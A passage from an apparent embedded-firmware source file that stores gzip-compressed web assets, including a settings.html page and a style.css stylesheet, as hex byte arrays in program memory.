0x02, 0xe3, 0x68, 0xee, 0x85, 0x29, 0x88, 0x12, 0xe5, 0x4d, 0xa9, 0x34, 0xae, 0x8f, 0xb6, 0xd8, 0xbc, 0xd0, 0xba, 0x5d, 0x65, 0xb8, 0x45, 0x5f, 0x99, 0xcd, 0x38, 0x17, 0x04, 0x28, 0x73, 0x1c, 0xdb, 0xe8, 0xc8, 0x7a, 0xca, 0xf4, 0x3d, 0x5f, 0xe3, 0xe8, 0xaa, 0xb7, 0x4c, 0x72, 0x3e, 0xf6, 0xe9, 0x1e, 0xd3, 0xa1, 0xe3, 0xbf, 0xaa, 0x0f, 0x8a, 0xd2, 0x3c, 0xe1, 0x69, 0xbe, 0x45, 0x17, 0x9b, 0x9a, 0x69, 0x2f, 0x4f, 0x2e, 0x26, 0xa8, 0x4a, 0x44, 0xd9, 0x85, 0xc3, 0x54, 0xe0, 0x99, 0x7a, 0x44, 0x05, 0x59, 0x4f, 0xad, 0x55, 0x06, 0xa8, 0x98, 0x06, 0x10, 0x17, 0x48, 0xee, 0x8e, 0xd9, 0x82, 0xe8, 0x52, 0x4c, 0x64, 0x9d, 0x08, 0x29, 0x4e, 0x58, 0xf8, 0xc3, 0x35, 0xbc, 0x85, 0x22, 0x6e, 0x41, 0x78, 0x01, 0xca, 0xab, 0x44, 0x07, 0x66, 0x11, 0xe0, 0x91, 0xc0, 0x60, 0xfa, 0x03, 0x6a, 0x6b, 0x9e, 0x05, 0xe2, 0x2d, 0x06, 0x7c, 0x75, 0x3e, 0x1e, 0x5d, 0x5c, 0x6c, 0x86, 0xe3, 0xf3, 0xf3, 0x57, 0xcc, 0xcb, 0xa6, 0x16, 0x8e, 0x79, 0x48, 0xb0, 0xce, 0x42, 0x3a, 0x60, 0x60, 0xca, 0x0c, 0xd9, 0x29, 0xb1, 0xc4, 0x1d, 0xe5, 0x99, 0x93, 0x60, 0x70, 0x9f, 0x44, 0x6f, 0x13, 0x8f, 0x45, 0x0c, 0x39, 0x65, 0xd6, 0xc8, 0x4c, 0xdd, 0x67, 0xf4, 0x95, 0x69, 0xff, 0x27, 0x74, 0x5a, 0x77, 0x3a, 0x28, 0x70, 0x1f, 0xf5, 0x9d, 0x1c, 0x2d, 0xba, 0x8e, 0xb9, 0x85, 0x6a, 0xc5, 0x96, 0xd9, 0x69, 0xcc, 0x6f, 0x88, 0xa7, 0x4e, 0x81, 0x48, 0x29, 0x67, 0xd0, 0xc9, 0x30, 0x86, 0xb3, 0x40, 0x1b, 0x85, 0xf4, 0x7e, 0xef, 0x50, 0x3a, 0x6c, 0x78, 0xa3, 0x42, 0xd5, 0xc0, 0xf5, 0xb0, 0x91, 0xb0, 0x17, 0x9a, 0x78, 0xf9, 0xec, 0x9f, 0xc1, 0x10, 0x1a, 0xdc, 0x0f, 0x64, 0x6c, 0xdc, 0xa8, 0x64, 0xe2, 0xfb, 0x9c, 0x37, 0xfe, 0x11, 0x0d, 0xec, 0x65, 0x21, 0x41, 0xc3, 0x51, 0x11, 0x25, 0xdc, 0xde, 0xc8, 0x39, 0xc6, 0xc2, 0x20, 0xdd, 0x02, 0x53, 0xe9, 0x28, 0x93, 0x1a, 0xea, 0x24, 0xf5, 0xe9, 0x53, 0x25, 0x93, 0x1a, 0xb0, 0x2f, 0x99, 0xdc, 0xd3, 0xe9, 0x72, 0x01, 0x34, 0x8c, 0xc6, 0x9d, 0x4f, 0xd7, 0x9e, 0xa8, 0x1f, 0x24, 0x6e, 0x47, 0x7f, 0x88, 0xc2, 0x8f, 0xe8, 0xcd, 0x36, 0x8e, 0x8a, 0xca, 0x74, 0xb6, 0xf3, 0xfa, 0x67, 0x35, 0xcd, 0x0f, 0xcf, 0xb2, 0x5d, 0xf8, 0x19, 0x99, 0x78, 0x87, 0x68, 0xb5, 0x92, 0xd1, 0xf3, 0xca, 0x49, 0xc1, 0x77, 0x8f, 0x91, 0x9b, 0x54, 0x9b, 0x06, 0x91, 0xb2, 0x6e, 0xe5, 0x53, 0x0e, 0xf9, 0x0e, 0xe5, 0xc1, 0xcb, 0xe3, 0x8a, 0x52, 0x8b, 0x6d, 0x8c, 0x44, 0x96, 0x88, 0x63, 0xab, 0xcf, 0x23, 0x7b, 0x1c, 0xb0, 0x46, 0x7b, 0xd7, 0x0c, 0x3c, 0x8e, 0x44, 0xf0, 0x94, 0xef, 0xb1, 0xc7, 0x7b, 0xd7, 0x13, 0x65, 0x38, 0xf9, 0xbd, 0x93, 0x3e, 0xbb, 0xee, 0x39, 0xd7, 0xe8, 0x8f, 0xa3, 0x52, 0xe7, 0x60, 0xf8, 0x15, 0x29, 0x5c, 0x9d, 0xb4, 0x32, 0x76, 0x63, 0x76, 0x68, 0x90, 0x05, 0x23, 0x85, 0x9b, 0x6f, 0x13, 0x8a, 0x2f, 0xb1, 0x98, 0x77, 0x15, 0xc9, 0x8a, 0x88, 0xc8, 0x82, 0x6b, 0x3c, 0xba, 0x09, 0x24, 0x88, 0x8d, 0x8b, 0x3d, 0x88, 0x13, 0x39, 0x68, 0x7c, 0x83, 0xf6, 0xde, 0xa7, 0x0c, 0xc7, 0xea, 0x8c, 0x9e, 0x2b, 0x84, 0x48, 0x99, 0xe8, 0x7e, 0x9c, 0x22, 0xb4, 0xf2, 0x21, 0x19, 0xba, 0x09, 0xcf, 0x38, 0x08, 0x1c, 0x50, 0x24, 0x80, 0x35, 0x62, 0x94, 0xbd, 0xe4, 0x1b, 0x7b, 0x4b, 0x6a, 0x8d, 0x24, 0x44, 0x4f, 0xf6, 0xd1, 0xa0, 0x28, 0x1b, 0x96, 0x75, 0x28, 0xa2, 0xf5, 0x2e, 0xa2, 0xfb, 0xf1, 0xcb, 0xc3, 0xe0, 0xe1, 0xbf, 0x85, 0x45, 0xd7, 0xed, 0x06, 0x2e, 0x50, 0x15, 0xca, 0xc2, 0x73, 0x0f, 0x96, 0xff, 0xe4, 0x97, 0xf1, 0xe8, 0x72, 0x74, 0xbe, 0x1b, 0x47, 0xe2, 0x71, 0xf1, 0x91, 0xa7, 0xd6, 0x01, 0x7f, 0x49, 0xe1, 0x43, 0xaa, 0xff, 0x4e, 0x1a, 0xe1, 0xa3, 0x25, 0x38, 0x4c, 0x10, 0x95, 0xe7, 0xaf, 0xaa, 0x41, 0xee, 0xbd, 0xe9, 0xfd, 0x5c, 0x0b, 0x7c, 0x44, 0x94, 0x5f, 0xd5, 0x4a, 0xc5, 0xc9, 0xf5, 0xbf, 0xdd, 0x11, 0x3c, 0xce, 0xa4, 0xa1, 0xb7, 0x7c, 0x8b, 0x41, 0x51, 0x85, 0x7e, 0xb4, 0xcd, 0xe0, 0xfe, 0x07, 0x53, 0x5d, 0xd3, 0x82, 0xe3, 0x0d, 0x00, 0x00};\nconst char settingshtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0x95, 0x55, 0x6d, 0x6f, 0xdb, 0x36, 0x10, 0xfe, 0x2b, 0x57, 0xed, 0x43, 0x12, 0x20, 0x92, 0x9a, 0x04, 0x08, 0xd2, 0x44, 0xd2, 0x30, 0x34, 0x0d, 0x10, 0x20, 0xdd, 0x8a, 0x26, 0xdb, 0x3e, 0x06, 0x34, 0x75, 0xb6, 0x58, 0x53, 0xa4, 0x46, 0x9e, 0xec, 0x06, 0xd8, 0x8f, 0xdf, 0x9d, 0x24, 0xe7, 0xc5, 0x71, 0x8a, 0xee, 0x83, 0x29, 0xfa, 0x78, 0x6f, 0xcf, 0xdd, 0xf1, 0x61, 0xf1, 0x2e, 0x4d, 0x53, 0xb8, 0x6b, 0x4c, 0x84, 0xe8, 0xe7, 0xb4, 0x56, 0x01, 0x81, 0xf7, 0xd6, 0x68, 0x74, 0x11, 0x6b, 0xe8, 0x5d, 0x8d, 0x01, 0xa8, 0x41, 0xf8, 0x7c, 0x7d, 0x07, 0x37, 0xa3, 0xf8, 0x1c, 0x1a, 0xa2, 0x2e, 0x9e, 0xe7, 0xf9, 0xc2, 0x50, 0xd3, 0xcf, 0x32, 0xed, 0xdb, 0x3c, 0x76, 0x4a, 0x63, 0xd3, 0x37, 0x8e, 0x50, 0x37, 0x39, 0xc6, 0xee, 0xec, 0xf8, 0xf4, 0xf4, 0xbe, 0x46, 0xd5, 0xb3, 0x75, 0x80, 0x34, 0xad, 0xa0, 0x78, 0x77, 0xe9, 0x35, 0x3d, 0x74, 0xc8, 0xf6, 0xad, 0xe5, 0xff, 0x2d, 0x92, 0x02, 0xdd, 0xa8, 0x10, 0x91, 0xca, 0x3f, 0xef, 0xae, 0xd2, 0x33, 0xd8, 0x48, 0x9d, 0x6a, 0xb1, 0x5c, 0x19, 0x5c, 0x77, 0x3e, 0x10, 0x80, 0xf6, 0xec, 0xd7, 0x51, 0x99, 0xac, 0x4d, 0x4d, 0x4d, 0x59, 0xe3, 0x8a, 0x53, 0x49, 0x87, 0x3f, 0x87, 0x60, 0x9c, 0x21, 0xa3, 0x6c, 0x1a, 0xb5, 0xb2, 0x58, 0xbe, 0xcf, 0xce, 0x0e, 0xa1, 0x65, 0x59, 0xcb, 0xa2, 0xde, 0x24, 0x2f, 0x3c, 0x72, 0x2e, 0x2d, 0xa6, 0xda, 0x5b, 0x1f, 0x9e, 0x39, 0xfd, 0xe5, 0xe4, 0xf4, 0xe4, 0xc3, 0xc9, 0xa7, 0x97, 0xaa, 0x35, 0x46, 0x1d, 0x4c, 0x47, 0xc6, 0xbb, 0x67, 0xaa, 0x9f, 0x6e, 0xbf, 0x08, 0x30, 0xb8, 0x9c, 0x80, 0x89, 0x0d, 0x19, 0xb2, 0x58, 0x6d, 0x9f, 0x14, 0xf9, 0x28, 0x87, 0xc2, 0x1a, 0xb7, 0x84, 0x80, 0xb6, 0x8c, 0xf4, 0x60, 0x31, 0x36, 0x88, 0x8c, 0x48, 0xea, 0x50, 0x26, 0x84, 0xdf, 0x29, 0xd7, 0x31, 0x26, 0xd0, 0x04, 0x9c, 0x8f, 0x0a, 0x19, 0xff, 0x97, 0x3a, 0x8c, 0xe1, 0x21, 0x06, 0x5d, 0x26, 0xdf, 0x62, 0x1e, 0x0d, 0x61, 0xf6, 0x2d, 0x26, 0x55, 0x91, 0x8f, 0x27, 0x3b, 0x54, 0x90, 0xc8, 0xb8, 0x45, 0xdc, 0x56, 0x9b, 0xf9, 0xfa, 0x01, 0xbc, 0xb3, 0x5e, 0xd5, 0x65, 0x22, 0xeb, 0x8d, 0x72, 0x8b, 0xfd, 0x03, 0xc9, 0xdd, 0xa9, 0x15, 0xaf, 0xbd, 0x05, 0x6d, 0x55, 0x8c, 0x65, 0x8b, 0xae, 0x87, 0x21, 0xe5, 0xaa, 0x50, 0x53, 0x4e, 0x5a, 0xb9, 0x4c, 0x1a, 0x06, 0x50, 0x2b, 0x52, 0x29, 0x05, 0xe5, 0xa2, 0x55, 0x84, 0xc3, 0x09, 0x54, 0xb7, 0xbc, 0x16, 0xb9, 0xda, 0x32, 0x8a, 0xa6, 0x8e, 0x6f, 0x58, 0xc9, 0x11, 0x9b, 0xdd, 0x5e, 0x5f, 0xc6, 0x57, 0x76, 0x8a, 0x48, 0xe9, 0xe5, 0x6e, 0xc3, 0xf1, 0x8c, 0x4d, 0x7f, 0x1b, 0x36, 0xaf, 0x63, 0x6e, 0xd0, 0xef, 0x0e, 0x3b, 0x9d, 0x72, 0xe4, 0x69, 0x37, 0x3a, 0xc8, 0x7b, 0x99, 0xc4, 0x7c, 0xac, 0x43, 0x6d, 0x56, 0x60, 0x6a, 0x6e, 0x83, 0xa2, 0x9e, 0x35, 0x8b, 0x9c, 0x05, 0x93, 0x78, 0xac, 0x8f, 0xcc, 0x81, 0x32, 0x8e, 0x07, 0xfa, 0x85, 0x38, 0xf8, 0x35, 0x6c, 0xe9, 0xd9, 0xf4, 0xe8, 0x58, 0x64, 0xcd, 0xd1, 0x24, 0x6a, 0x50, 0xc9, 0x5d, 0xfa, 0x99, 0xbc, 0x9a, 0x23, 0x69, 0x5a, 0x4f, 0xc4, 0xa3, 0xe7, 0x9d, 0xe6, 0xdb, 0xb8, 0x2c, 0x93, 0x05, 0xd2, 0x95, 0xb1, 0xb8, 0xbf, 0x17, 0x7a, 0xf7, 0xab, 0x6e, 0x25, 0x4b, 0xdf, 0xa9, 0x6e, 0xef, 0xe0, 0x82, 0xa7, 0x3e, 0xd0, 0xfe, 0xde, 0x5d, 0x1f, 0x1c, 0xdb, 0x83, 0x9f, 0xcf, 0x41, 0x69, 0x8d, 0x3c, 0x45, 0x9d, 0x37, 0x8e, 0xc0, 0xf9, 0x75, 0x06, 0x5f, 0x91, 0x51, 0xf1, 0x55, 0x7a, 0xf0, 0x7d, 0x78, 0x9c, 0x51, 0x20, 0x0f, 0x33, 0x04, 0x35, 0xb3, 0x28, 0x5b, 0x46, 0xe7, 0x50, 0x13, 0xa8, 0x05, 0x63, 0xcc, 0xf6, 0x0e, 0x92, 0x0d, 0x3c, 0x66, 0x82, 0xed, 0xbc, 0xd7, 0x66, 0x6e, 0xee, 0x25, 0x54, 0xf5, 0xb7, 0xb9, 0x32, 0x12, 0xb4, 0xc8, 0xc7, 0x94, 0x7f, 0x26, 0xf7, 0x80, 0x8c, 0xfb, 0xe2, 0x22, 0xaa, 0x15, 0xc2, 0xa6, 0x02, 0x3f, 0x8e, 0x37, 0x58, 0x40, 0xf5, 0x55, 0x3e, 0xff, 0x2f, 0xd2, 0xcc, 0x7b, 0x7a, 0xf2, 0x9d, 0x88, 0xf3, 0x60, 0x16, 0x0d, 0x25, 0xaf, 0x43, 0x88, 0x2a, 0x54, 0xe3, 0xf7, 0x59, 0x90, 0x4e, 0xae, 0x5a, 0xc7, 0xc3, 0xfe, 0x76, 0x7a, 0xc6, 0xcd, 0xfd, 0xfd, 0xa0, 0x53, 0x5d, 0xff, 0x7e, 0xf5, 0xc7, 0x79, 0x21, 0x84, 0xe8, 0xaa, 0x62, 0x16, 0x36, 0xb6, 0x6f, 0xf4, 0xfd, 0x5e, 0x2c, 0x79, 0x50, 0x52, 0xb8, 0xf5, 0xed, 0x53, 0x31, 0x98, 0x2f, 0xfe, 0xe9, 0x0d, 0xb3, 0xb1, 0x82, 0x31, 0x9d, 0x6c, 0x70, 0x95, 0xc2, 0x47, 0xc1, 0x09, 0x43, 0xe1, 0xb8, 0x63, 0xad, 0x5a, 0xb2, 0x4d, 0xcf, 0x7a, 0xd4, 0xa8, 0xa9, 0xb9, 0x4c, 0xa8, 0x6e, 0x81, 0x11, 0x84, 0xcb, 0x55, 0xd7, 0x59, 0x83, 0xf5, 0x68, 0x3c, 0xe5, 0xb4, 0x3b, 0x9f, 0x01, 0x40, 0x6d, 0x22, 0x43, 0x34, 0xad, 0xcc, 0xf7, 0x35, 0xc3, 0x55, 0x11, 0xb9, 0xb3, 0xc0, 0xda, 0xbd, 0xc3, 0xef, 0x1d, 0xcf, 0x06, 0x43, 0xc7, 0x10, 0x7c, 0x38, 0x84, 0xce, 0xa2, 0x1c, 0x33, 0xaf, 0x31, 0xa1, 0x0c, 0x4f, 0x84, 0x30, 0x14, 0xeb, 0xd6, 0x60, 0xbd, 0x5f, 0x02, 0xa7, 0x33, 0x08, 0x31, 0x30, 0x37, 0x43, 0xeb, 0x99, 0xa4, 0x99, 0x74, 0xe7, 0xf2, 0xeb, 0xc3, 0x30, 0x7c, 0x35, 0xce, 0xfa, 0xc5, 0x82, 0xd1, 0x66, 0x2f, 0xaa, 0x95, 0x77, 0x3b, 0xfa, 0x2a, 0x80, 0x99, 0xb1, 0x5e, 0x55, 0x51, 0xea, 0x50, 0xc9, 0xfa, 0x83, 0x99, 0x90, 0x04, 0xf7, 0x9f, 0x86, 0x4b, 0x7a, 0xbf, 0x63, 0xbc, 0x06, 0x18, 0xd5, 0xf8, 0x7d, 0xe6, 0x6c, 0xa2, 0x80, 0x67, 0x4c, 0x20, 0x04, 0x31, 0x75, 0xe9, 0xc6, 0x44, 0x7a, 0xa2, 0x89, 0xe9, 0x33, 0xe7, 0x6e, 0xe1, 0x63, 0xdb, 0x59, 0x7b, 0x85, 0x21, 0xca, 0x2b, 0x52, 0xfd, 0x35, 0x6d, 0x8e, 0xb3, 0xd3, 0xec, 0xfd, 0x63, 0x37, 0x06, 0xd0, 0xc3, 0x32, 0x11, 0x59, 0x22, 0xcf, 0x2b, 0xbf, 0xae, 0x9b, 0xc7, 0x33, 0xe3, 0x97, 0x8c, 0x02, 0x17, 0x50, 0x47, 0x79, 0x6a, 0x13, 0xe0, 0x8b, 0xcc, 0x73, 0x5e, 0xde, 0xcf, 0xac, 0xe2, 0x97, 0x85, 0x2f, 0xe0, 0xd2, 0x0c, 0x64, 0xf6, 0xef, 0xa3, 0x0b, 0xe9, 0xe6, 0xc8, 0x83, 0xd5, 0x47, 0x1e, 0x57, 0x43, 0x1b, 0xb6, 0x9b, 0x92, 0xfb, 0x0f, 0x1e, 0x32, 0x94, 0xb9, 0xf8, 0x07, 0x00, 0x00};\nconst char stylecss[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x73, 0x74, 0x79, 0x6c, 0x65, 0x2e, 0x63, 0x73, 0x73, 0x00, 0xad, 0x57, 0x4b, 0x8f, 0xa4, 0x38, 0x12, 0xfe, 0x2b, 0x6c, 0x97, 0x46, 0xea, 0x96, 0x0a, 0x04, 0x24, 0xf9, 0x02, 0xb5, 0xd4, 0x3d, 0xbb, 0xd3, 0xd2, 0x5c, 0xe6, 0xb4, 0xb7, 0x51, 0xed, 0xca, 0x09, 0xa6, 0xb0, 0x12, 0x30, 0xb2, 0x4d, 0x65, 0x56, 0x23, 0xe6, 0xb7, 0x4f, 0xf8, 0x05, 0x06, 0xb2, 0x4e, 0xbb, 0x4a, 0x55, 0x19, 0x7f, 0xb6, 0xe3, 0xed, 0x88, 0xf0, 0xb7, 0xbc, 0x42, 0x8c, 0x63, 0xe1, 0xf5, 0xa2, 0xf4, 0x4f, 0x99, 0x77, 0xa1, 0xc5, 0xfb, 0x70, 0x41, 0xf9, 0xf5, 0x95, 0xd1, 0xbe, 0x2d, 0xd2, 0xa7, 0xdd, 0x61, 0x77, 0xde, 0xe1, 0x2c, 0xa7, 0x35, 0x65, 0xe9, 0xd3, 0xa5, 0x94, 0xbf, 0xac, 0xa4, 0xad, 0xf0, 0x4b, 0xd4, 0x90, 0xfa, 0x3d, 0xe5, 0xa8, 0xe5, 0x3e, 0xc7, 0x8c, 0x94, 0x59, 0x83, 0xd8, 0x2b, 0x69, 0xd3, 0x70, 0xac, 0xa2, 0x41, 0x6d, 0xe1, 0xe4, 0x27, 0x4e, 0xa3, 0xe0, 0xc8, 0x70, 0x63, 0x16, 0x7d, 0x41, 0xbb, 0x34, 0x92, 0x73, 0x97, 0x49, 0x5c, 0xee, 0xa2, 0xdd, 0x61, 0xc1, 0xe4, 0x92, 0x75, 0xa8, 0x28, 0x48, 0xfb, 0x9a, 0x06, 0x31, 0x6e, 0xbc, 0x48, 0x9e, 0xa0, 0xac, 0xc0, 0xcc, 0x67, 0xa8, 0x20, 0x3d, 0x4f, 0x77, 0xdd, 0xdd, 0x22, 0x35, 0x2e, 0x45, 0xca, 0x69, 0x4d, 0x0a, 0xef, 0x29, 0x0e, 0xf3, 0x38, 0xc4, 0xde, 0x1e, 0x56, 0x95, 0x08, 0x37, 0x4c, 0x5e, 0x2b, 0x91, 0x46, 0x21, 0x48, 0x15, 0x2f, 0xa4, 0x8a, 0xfe, 0x37, 0xa9, 0x12, 0x29, 0x55, 0x70, 0xfa, 0x3f, 0xc8, 0x25, 0xd0, 0xa5, 0xc6, 0x83, 0x39, 0x03, 0xdc, 0x6a, 0xd4, 0x71, 0x9c, 0xda, 0x8f, 0xb1, 0x46, 0x17, 0x5c, 0x0f, 0x35, 0x69, 0xb1, 0x5f, 0xe9, 0x43, 0xbb, 0x53, 0x77, 0x1f, 0xbb, 0xc1, 0x98, 0x3b, 0xd8, 0x83, 0x24, 0xe1, 0x18, 0x48, 0x6e, 0x43, 0x59, 0x53, 0x24, 0x52, 0xf9, 0x39, 0x06, 0x4c, 0x6e, 0x36, 0x88, 0xfa, 0x1e, 0x83, 0x0b, 0xad, 0x8b, 0xc1, 0xe5, 0x2f, 0x01, 0xd8, 0x89, 0x8b, 0xc1, 0xa8, 0xf9, 0x23, 0x4c, 0x8e, 0xc9, 0x71, 0x0c, 0x5e, 0x19, 0xc6, 0xad, 0x05, 0x93, 0xdd, 0xaf, 0xfb, 0x53, 0x34, 0x06, 0x79, 0x8d, 0x11, 0x1b, 0xd4, 0x7f, 0x38, 0x29, 0x2a, 0x40, 0x70, 0x2b, 0xb0, 0x3c, 0x2e, 0xf0, 0x5d, 0xf8, 0xa8, 0x26, 0xaf, 0x6d, 0xaa, 0xb1, 0x31, 0xe0, 0xb8, 0xc6, 0xb9, 0x18, 0x6e, 0xa4, 0x10, 0x55, 0x7a, 0x06, 0x99, 0xbd, 0x7f, 0x90, 0xa6, 0xa3, 0x4c, 0xa0, 0x56, 0x4c, 0x76, 0x0c, 0x1d, 0xd0, 0x1e, 0x01, 0x72, 0xae, 0x1f, 0x92, 0xf3, 0x31, 0x41, 0x67, 0x58, 0x14, 0x48, 0xf4, 0xdc, 0xd0, 0x8b, 0xe2, 0x10, 0x4c, 0x69, 0xa8, 0x68, 0x4b, 0x4b, 0xab, 0x04, 0xca, 0x5a, 0x3f, 0xc8, 0x7d, 0x61, 0xb0, 0x24, 0x91, 0x4b, 0x79, 0x4d, 0xf2, 0xab, 0xb2, 0x75, 0xde, 0x33, 0x0e, 0x7a, 0x75, 0x94, 0x58, 0x49, 0x85, 0x00, 0x32, 0x7f, 0xa0, 0x06, 0x6b, 0x45, 0x04, 0x83, 0xa8, 0x2e, 0x29, 0x6b, 0xd2, 0xbe, 0xeb, 0x30, 0xcb, 0x11, 0xc7, 0xd9, 0xda, 0x6c, 0x99, 0xda, 0x59, 0xe0, 0x9c, 0x32, 0x24, 0x08, 0x6d, 0x53, 0x10, 0x16, 0x33, 0xc9, 0x76, 0x7c, 0x32, 0xa2, 0x6e, 0x8c, 0x92, 0xad, 0xa8, 0xe7, 0xa8, 0x23, 0x02, 0x36, 0xfc, 0xc4, 0x93, 0x41, 0x64, 0x84, 0x18, 0xb3, 0x97, 0x65, 0x99, 0x75, 0x94, 0x13, 0x45, 0x9d, 0x0b, 0x90, 0xfe, 0x3d, 0x93, 0x91, 0x1a, 0x66, 0x3f, 0x7d, 0x02, 0xcc, 0xee, 0xe9, 0xf9, 0x3c, 0x3e, 0xe5, 0x35, 0xe5, 0xf8, 0x37, 0xc6, 0x28, 0x73, 0x7d, 0xbd, 0xa0, 0x31, 0xd9, 0x3a, 0x92, 0x46, 0x5b, 0x69, 0x5f, 0x52, 0x0a, 0x83, 0x73, 0x35, 0x82, 0x33, 0x44, 0x54, 0xb6, 0x95, 0xdd, 0xb9, 0x2b, 0xbb, 0xf9, 0xea, 0x40, 0x1c, 0x08, 0xda, 0x48, 0x04, 0x2c, 0x5c, 0xe1, 0xfc, 0xfa, 0x2b, 0xbd, 0xff, 0x13, 0x68, 0x21, 0x30, 0x04, 0x1b, 0x0a, 0xc2, 0xbb, 0x1a, 0xbd, 0xa7, 0x97, 0x9a, 0xe6, 0xd7, 0x59, 0x19, 0x86, 0x6b, 0xb0, 0xd9, 0x1b, 0x5e, 0x3a, 0x70, 0x27, 0x75, 0x5f, 0x92, 0x8d, 0xe2, 0x8d, 0xc0, 0xd9, 0x2c, 0x69, 0x2c, 0x57, 0xc1, 0x27, 0x97, 0x2b, 0x11, 0x7e, 0x0f, 0x49, 0xc8, 0xd7, 0x01, 0x94, 0xb6, 0xb4, 0xc5, 0x99, 0xdf, 0xd0, 0x9f, 0x8f, 0x50, 0xbe, 0x05, 0x37, 0x80, 0xbd, 0x69, 0xb1, 0x0a, 0x9c, 0xb5, 0x5a, 0x1e, 0x69, 0xbb, 0x5e, 0x0c, 0x93, 0x3a, 0xe8, 0x02, 0xb7, 0xbc, 0x17, 0x38, 0xa3, 0x1d, 0xca, 0x89, 0x78, 0x07, 0x0f, 0xad, 0x43, 0x4c, 0xd1, 0x00, 0xdd, 0xae, 0x0f, 0x4e, 0x49, 0x8b, 0x42, 0xf0, 0x66, 0xca, 0x08, 0xa1, 0xe5, 0x1d, 0x4b, 0x48, 0x07, 0xbb, 0xfa, 0x9c, 0xaf, 0x84, 0x6f, 0x7c, 0x1b, 0xff, 0x50, 0x09, 0x6a, 0x99, 0x7f, 0x92, 0x49, 0x62, 0xc9, 0x2d, 0x45, 0xa5, 0x74, 0x6e, 0x0e, 0x92, 0x83, 0x13, 0xd3, 0x4f, 0x9f, 0xb2, 0x2d, 0x7b, 0xeb, 0x23, 0xa9, 0xf8, 0x87, 0xca, 0xa6, 0x0a, 0xc7, 0x85, 0xf7, 0x97, 0xb7, 0xa1, 0xbe, 0x70, 0xf2, 0x23, 0x0a, 0x9b, 0x13, 0x4a, 0x53, 0x15, 0x8c, 0x52, 0xf7, 0xe3, 0xa4, 0x28, 0x08, 0x6f, 0xd5, 0x57, 0xab, 0x5a, 0x35, 0x93, 0x43, 0x6f, 0x15, 0x01, 0x69, 0x8d, 0xb6, 0x7a, 0x7f, 0xe8, 0x41, 0xba, 0x55, 0x7f, 0xe1, 0x14, 0x07, 0xf3, 0xed, 0x62, 0x14, 0xae, 0x21, 0xfe, 0x9c, 0xec, 0x0b, 0xfc, 0xfa, 0x45, 0x39, 0xfe, 0xa3, 0xb5, 0x0f, 0xf0, 0x31, 0xa8, 0x48, 0x81, 0x87, 0xa5, 0x81, 0x78, 0x45, 0x6f, 0x4b, 0x95, 0xdd, 0xbc, 0x86, 0x5a, 0xd2, 0xa8, 0x74, 0xe0, 0xb7, 0x90, 0x4d, 0xd2, 0x12, 0x15, 0xf8, 0xf7, 0xd6, 0x41, 0x8b, 0xde, 0x64, 0x8b, 0x88, 0x8f, 0xdf, 0xae, 0xf8, 0xbd, 0x64, 0xb0, 0x8d, 0x7b, 0x7a, 0xdf, 0x10, 0xfe, 0x32, 0x4c, 0x21, 0x34, 0x42, 0x6d, 0x98, 0xa7, 0xd1, 0x38, 0x56, 0x6c, 0x59, 0x99, 0x71, 0x12, 0x25, 0x87, 0x11, 0xd9, 0x24, 0xbd, 0x8f, 0x4f, 0x11, 0x14, 0xa8, 0x75, 0x56, 0x52, 0x42, 0xa3, 0xb4, 0xa2, 0x6f, 0x2a, 0x0e, 0xd4, 0xd6, 0xf3, 0xfe, 0x72, 0xc2, 0xc9, 0x58, 0x13, 0x5b, 0x43, 0x12, 0x69, 0xc1, 0x31, 0x68, 0x30, 0x38, 0xe7, 0xbf, 0x33, 0x93, 0x65, 0x1a, 0x8e, 0x93, 0x43, 0xf2, 0x2f, 0xe3, 0x28, 0x29, 0x5b, 0x76, 0x03, 0x57, 0xf8, 0x17, 0x86, 0xd1, 0x15, 0xb8, 0xb0, 0x06, 0xd5, 0x59, 0x03, 0x37, 0x77, 0xda, 0x20, 0x03, 0x51, 0x53, 0x04, 0xcb, 0x1a, 0x82, 0x0f, 0xb2, 0xd2, 0x82, 0xb7, 0x2e, 0x3b, 0x0b, 0xb6, 0xa6, 0xf6, 0xe8, 0x75, 0xd0, 0xaa, 0x7d, 0xc5, 0x8b, 0x0d, 0x3f, 0xbe, 0x7f, 0x3f, 0x44, 0xdf, 0xed, 0x06, 0xb6, 0x2a, 0x1e, 0xb6, 0x9e, 0xe9, 0xd5, 0x37, 0x54, 0xf7, 0x78, 0xd8, 0x54, 0x0d, 0x5d, 0x81, 0x1d, 0xcd, 0x66, 0x3d, 0x12, 0xa9, 0xc7, 0x2a, 0x29, 0x41, 0x43, 0x32, 0x8a, 0x62, 0x70, 0xd4, 0x57, 0xff, 0x21, 0x5b, 0xd6, 0xa3, 0xa8, 0xb6, 0xb8, 0x04, 0x60, 0xe1, 0x19, 0xce, 0x58, 0xa5, 0x65, 0x74, 0x7b, 0x07, 0x19, 0xff, 0x73, 0x9a, 0x95, 0xe2, 0xd8, 0xf0, 0xb6, 0xe9, 0x0f, 0x76, 0x99, 0x06, 0x62, 0x5f, 0xc8, 0xdf, 0xf8, 0xad, 0xc1, 0x05, 0x41, 0x1e, 0xcf, 0xa5, 0xa1, 0x3c, 0xd4, 0x16, 0xde, 0xe7, 0x06, 0xdd, 0x8d, 0xb0, 0x27, 0x59, 0x14, 0xbf, 0x0c, 0x4f, 0xa8, 0xfb, 0xb7, 0xd4, 0xc8, 0x0b, 0x48, 0xf1, 0x3c, 0x4f, 0x70, 0x9b, 0x3b, 0xb3, 0x06, 0xb9, 0xb3, 0x37, 0xdc, 0x16, 0x94, 0x39, 0x80, 0x8c, 0xde, 0x67, 0xa8, 0x63, 0x0e, 0xa1, 0x69, 0xd2, 0x5d, 0x05, 0x77, 0xa6, 0x35, 0xe2, 0x82, 0x83, 0x34, 0x0e, 0xa4, 0x88, 0xb7, 0xce, 0xd9, 0x76, 0xc5, 0xc7, 0xce, 0x51, 0x37, 0x7f, 0xab, 0x43, 0x9c, 0x93, 0x62, 0x3a, 0xb7, 0xba, 0x79, 0x9b, 0xf0, 0x74, 0xdc, 0x04, 0xa5, 0x63, 0x1c, 0x5b, 0xf4, 0xb6, 0xaa, 0x38, 0x6e, 0x28, 0x44, 0x45, 0x1c, 0x43, 0xba, 0xdc, 0xd4, 0xf1, 0x65, 0x79, 0x94, 0x44, 0x3c, 0x7b, 0xa9, 0x48, 0x5b, 0x41, 0x67, 0xeb, 0x76, 0x2b, 0xb2, 